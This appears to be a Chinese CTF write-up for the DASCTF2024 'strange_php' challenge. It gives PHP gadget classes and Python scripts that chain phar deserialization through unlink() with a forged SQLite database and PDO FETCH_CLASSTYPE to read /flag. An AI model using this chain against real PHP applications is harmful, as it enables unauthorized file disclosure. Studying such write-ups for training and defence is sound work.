当前位置: 首页 > news >正文

CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

step 1 如何触发反序列化?

漏洞入口在

welcome.php

case 'delete':  // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  $msg = $userMessage->deleteMessage($message); // 删除留言  if ($msg) {  echo "留言已成功删除"; // 输出成功删除信息  } else {  echo "操作失败,请重新尝试"; // 输出失败信息  }  break;

此处message_path可控,进一步跟进

UserMessage.php

public function deleteMessage($path) {  $path = $path . ".txt"; // 添加文件扩展名  if (file_exists($path)) {  $result = unlink($path);  if ($result === false) {  return false;  }  return true;  }  return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

public function writeMessage($message) {  $result = file_put_contents($this->filePath, $message);  if ($result === false) {  return false;  }  return true;  
}

step 3 如何利用反序列化读取flag?

<?php  class UserMessage {  private $filePath;  ........// 魔术方法 __set,用于设置私有属性并记录日志  public function __set($name, $value) {  $this->$name = $value;  $logContent = file_get_contents($this->filePath) . "</br>";  file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  }  .......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

<?php  class PDO_connect {  private $pdo; // 用于保存 PDO 实例  public $con_options = []; // 用于设置 PDO 连接的选项  public $smt; // 用于保存 PDOStatement 实例  public function __construct() {  // 构造函数,初始化对象时调用  }  // 初始化连接选项  public function init() {  $this->con_options = array(  "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  'host' => '127.0.0.1', // 数据库主机地址  'port' => '3306', // 数据库端口  'user' => 'joker', // 数据库用户名  'password' => 'joker', // 数据库密码  'charset' => 'utf8', // 字符集  'options' => array(  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  )  );  }  // 获取数据库连接  public function get_connection() {  $this->conn = null; // 初始化连接为 null        try {  // 创建 PDO 实例  $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  // 设置错误处理模式  if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  }  // 设置默认获取模式  if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  }  } catch (PDOException $e) {  // 捕获异常并输出错误信息  echo 'Connection Error: ' . $e->getMessage();  }  return $this->conn; // 返回 PDO 连接实例  }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE:当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

public function __set($name, $value) {  $this->$name = $value;  $logContent = file_get_contents($this->filePath) . "</br>";  file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

class PDO_connect{  private $pdo;  public $con_options = []; public $smt;  public function __construct(){  $this->con_options =  [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  "username"=>"root",  "password"=>"root",  "options"=>[  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  ]  ];  }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

public function __destruct() {  if ($this->username) {  $results = $this->log();  $log_mess = serialize($results);  // 记录日志到文件  file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

public function log() {  try {  $sql = "SELECT * FROM users WHERE username = :username";  $pdo = $this->conn->get_connection();  $stmt = $pdo->prepare($sql);  $stmt->bindParam(':username', $this->username);  $stmt->execute();  $result = $stmt->fetch();  return $result;  } catch (PDOException $e) {  echo $e->getMessage();  }  
}

所以写出

class PDO_connect{  private $pdo;  public $con_options = [];public $smt;  public function __construct(){  $this->con_options = [  "dsn"=>'sqlite:./fake_db.sqlite',  "username"=>"root",  "password"=>"root",  "options"=>[  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  ]  ];  }  
}  
class User{  private $conn;  private $table = 'users';  public $id;  public $username;  public $password;  public function __construct(){  $this->conn = new PDO_connect();  $this->username = "UserMessage";  }  
}

尝试

import sqlite3  conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  conn.commit()  cursor.execute('SELECT * FROM users')  conn.close()

请添加图片描述

import sqlite3  conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  conn.commit()  cursor.execute('SELECT * FROM users')  conn.close()

即可控制变量值触发/flag读取

相关文章:

CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

step 1 如何触发反序列化? 漏洞入口在 welcome.php case delete: // 获取删除留言的路径&#xff0c;优先使用 POST 请求中的路径&#xff0c;否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMes…...

从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架(动态菜单组件实现)

目录 面对对象C的程序设计&#xff08;范例&#xff09; 面对对象C的程序设计&#xff08;应用&#xff09; 进一步谈论我上面给出的代码——继承 实现一个面对对象的文本编辑器 所以&#xff0c;什么是继承 重申我们对菜单的抽象 抽象菜单项目 抽象菜单动画 实现菜单功…...

EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析

EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析 0 预览一 该文件功能`fsm_slave.c` 文件功能函数预览二 函数功能介绍`fsm_slave.c` 中主要函数的作用1. `ec_fsm_slave_init`2. `ec_fsm_slave_clear`3. `ec_fsm_slave_exec`4. `ec_fsm_slave_set_ready`5. `ec_fsm_slave_…...

windows10 配置使用json server作为图片服务器

步骤1&#xff1a;在vs code中安装json server, npm i -g json-server 注意&#xff1a;需要安装对应版本的json server&#xff0c;不然可能会报错&#xff0c;比如&#xff1a; npm i -g json-server 0.16.3 步骤2&#xff1a;出现如下报错&#xff1a; json-server 不是…...

Linux——网络(tcp)

文章目录 目录 文章目录 前言 一、TCP逻辑 1. 面向连接 三次握手&#xff08;建立连接&#xff09; 四次挥手&#xff08;关闭连接&#xff09; 2. 可靠性 3. 流量控制 4. 拥塞控制 5. 基于字节流 6. 全双工通信 7. 状态机 8. TCP头部结构 9. TCP的应用场景 二、编写tcp代码函数…...

腾讯云开发提供免费GPU服务

https://ide.cloud.tencent.com/dashboard/web 适用于推理场景&#xff0c;每个月10000分钟免费时长 166 小时 40 分钟 自带学术加速&#xff0c;速度还是不错的 白嫖 Tesla T4 16G 算力 显存&#xff1a;16GB 算力&#xff1a;8 TFlops SP CPU&#xff1a;8 核 内存&#…...

详解python的修饰符

Python 中的修饰符&#xff08;Decorator&#xff09;是一种用于修改或扩展函数或类行为的工具。它们本质上是一个函数&#xff0c;接受另一个函数或类作为参数&#xff0c;并返回一个新的函数或类。修饰符通常用于在不修改原函数或类代码的情况下&#xff0c;添加额外的功能。…...

《攻克语言密码:教AI理解隐喻与象征》

在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;让计算机理解人类语言中的隐喻和象征&#xff0c;是迈向更高语言理解水平的关键一步。从“时间就是金钱”这样的概念隐喻&#xff0c;到文学作品里象征着坚韧的“寒梅”&#xff0c;这些非字面意义的表达方式承载着丰…...

如何解除TikTok地区限制:实用方法解析

随着社交媒体的不断发展&#xff0c;TikTok作为一款短视频平台&#xff0c;已经在全球范围内吸引了数以亿计的用户。然而&#xff0c;不同地区对TikTok的使用权限存在一定的限制&#xff0c;这使得一些用户无法享受平台提供的完整内容和功能。 一、了解TikTok地区限制的原因 在…...

神经网络|(七)概率论基础知识-贝叶斯公式

【1】引言 前序我们已经了解了一些基础知识。 古典概型&#xff1a;有限个元素参与抽样&#xff0c;每个元素被抽样的概率相等。 条件概率&#xff1a;在某条件已经达成的前提下&#xff0c;新事件发生的概率。实际计算的时候&#xff0c;应注意区分&#xff0c;如果是计算综…...

《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》

DeepSeek 网页/API 性能异常&#xff08;DeepSeek Web/API Degraded Performance&#xff09;订阅 已识别 - 已识别问题&#xff0c;并且正在实施修复。 1月 29&#xff0c; 2025 - 20&#xff1a;57 CST 更新 - 我们将继续监控任何其他问题。 1月 28&#xff0c; 2025 - 22&am…...

使用Edu邮箱申请一年免费的.me域名

所需材料&#xff1a;公立Edu教育邮箱一枚&#xff08;P.S&#xff1a;该服务不支持所有的Edu教育邮箱&#xff0c;仅支持比较知名的院校&#xff09; 说到域名&#xff0c;.me这个后缀可谓是个性十足&#xff0c;适合个人网站、博客等。.me是黑山的国家顶级域名&#xff08;c…...

【MCU】DFU、IAP、OTA

我发现很多人把几个概念都学混了&#xff0c;只记得一个升级了 DFU DFU (device firmware update)是指的 USB DFU&#xff0c;这个是 USB 的一个机制&#xff0c;可以升级设备的固件&#xff0c;可以去 USB-IF 查看规范文件。 OTA 全称为 Over-the-air update&#xff0c;利…...

2025.1.21——六、BUU XSS COURSE 1 XSS漏洞|XSS平台搭建

题目来源&#xff1a;buuctf BUU XSS COURSE 1 目录 一、打开靶机&#xff0c;整理信息 二、解题思路 step 1&#xff1a;输入框尝试一下 step 2&#xff1a;开始xss注入 step 3&#xff1a;搭建平台 step 4&#xff1a;利用管理员cookie访问地址 三、小结 二编&#…...

跟李沐学AI:视频生成类论文精读(Movie Gen、HunyuanVideo)

Movie Gen&#xff1a;A Cast of Media Foundation Models 简介 Movie Gen是Meta公司提出的一系列内容生成模型&#xff0c;包含了 3.2.1 预训练数据 Movie Gen采用大约 100M 的视频-文本对和 1B 的图片-文本对进行预训练。 图片-文本对的预训练流程与Meta提出的 Emu: Enh…...

7.抽象工厂(Abstract Factory)

抽象工厂与工厂方法极其类似&#xff0c;都是绕开new的&#xff0c;但是有些许不同。 动机 在软件系统中&#xff0c;经常面临着“一系列相互依赖的对象”的创建工作&#xff1b;同时&#xff0c;由于需求的变化&#xff0c;往往存在更多系列对象的创建工作。 假设案例 假设…...

python-leetcode-路径总和

112. 路径总和 - 力扣&#xff08;LeetCode&#xff09; # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solution:de…...

WGCLOUD使用介绍 - 如何监控ActiveMQ和RabbitMQ

根据WGCLOUD官网的信息&#xff0c;目前没有针对ActiveMQ和RabbitMQ这两个组件专门做适配 不过可以使用WGCLOUD已经具备的通用监测模块&#xff1a;进程监测、端口监测或者日志监测、接口监测 来对这两个组件进行监控...

智能汽车网络安全威胁报告

近年来随着智能汽车技术的快速发展&#xff0c;针对智能汽车的攻击也逐渐从传统的针对单一车辆控制器的攻击转变为针对整车智能化服务的攻击&#xff0c;包括但不限于对远程控制应用程序的操控、云服务的渗透、智能座舱系统的破解以及对第三方应用和智能服务的攻击。随着WP.29 …...

WPS怎么使用latex公式?

1、下载并安装mathtype https://blog.csdn.net/weixin_43135178/article/details/125143654?sharetypeblogdetail&sharerId125143654&sharereferPC&sharesourceweixin_43135178&spm1011.2480.3001.8118 2、将mathtype嵌入在WPS MathType面板嵌入器,免费工具…...

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》

引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

边缘计算医疗风险自查APP开发方案

核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路

进入2025年以来&#xff0c;尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断&#xff0c;但全球市场热度依然高涨&#xff0c;入局者持续增加。 以国内市场为例&#xff0c;天眼查专业版数据显示&#xff0c;截至5月底&#xff0c;我国现存在业、存续状态的机器人相关企…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案

问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

数据链路层的主要功能是什么

数据链路层&#xff08;OSI模型第2层&#xff09;的核心功能是在相邻网络节点&#xff08;如交换机、主机&#xff09;间提供可靠的数据帧传输服务&#xff0c;主要职责包括&#xff1a; &#x1f511; 核心功能详解&#xff1a; 帧封装与解封装 封装&#xff1a; 将网络层下发…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口&#xff08;适配服务端返回 Token&#xff09; export const login async (code, avatar) > {const res await http…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...